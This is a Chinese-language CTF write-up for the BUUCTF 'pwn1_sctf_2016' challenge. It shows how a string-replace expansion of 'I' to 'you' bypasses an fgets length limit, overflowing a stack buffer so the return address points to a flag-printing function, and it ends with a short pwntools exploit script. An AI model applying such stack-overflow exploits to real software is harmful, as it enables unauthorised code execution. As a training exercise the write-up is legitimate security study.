buuctf-pwn1 sctf 2016

拿到文件后checksec一下,发现开启了NX保护,说明堆栈不可执行,那我们就不能向堆栈上写东西。
在这里插入图片描述
查看一下程序
在这里插入图片描述main()函数调用了vuln()函数,查看一下此函数有没有什么漏洞可以利用,enmenm,发现代码很多不知道什么意思(太菜了太菜了),好好看看这些代码到底啥意思吧~~,部分代码注释如下:

在这里插入图片描述本来看到代码5处,想着能通过向缓冲区S中写入数据,利用栈溢出来覆盖返回地址为后门函数地址,但是fgets()函数告诉我此法不行,因为你最多只能向S中输入32个字符,而缓冲区S的大小为0x3c,也就是需要输入60个字符才能将S填满,所以远远不够,只能分析代码找另一个方法,看到有一个replace()函数,他会将“I”转换成“you”,那就可以输入20个“I”,这样就相当于输入了20个“you”,正好60个字符,能将S填满,那么如果我们在覆盖返回地址为后门函数地址就能获得shell,看看有没有后门函数,按shift+F12查看字符串(我的电脑还需要多按个Fn键才行),查看结果如下:
在这里插入图片描述看到一个关键字符串“cat flag.txt”,双击查看,按ctrl+x查看哪个函数调用了这个字符串
在这里插入图片描述点击调用函数查看
在这里插入图片描述此函数的地址为flag_addr=0x8048F0D,那么我们填满S后,将返回地址覆盖为flag_addr=0x8048F0D,就能获得shell,构造payload=‘I’*20+‘a’*4+p32(flag_addr).(因为是32位,所以“a”*4)

exp

from pwn import*
r=remote("node3.buuoj.cn",28824)
flag_addr=0x8048f0d
payload='I'*20+'a'*4+p32(flag_addr)
r.sendline(payload)
r.interactive()

在这里插入图片描述

  • 3
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值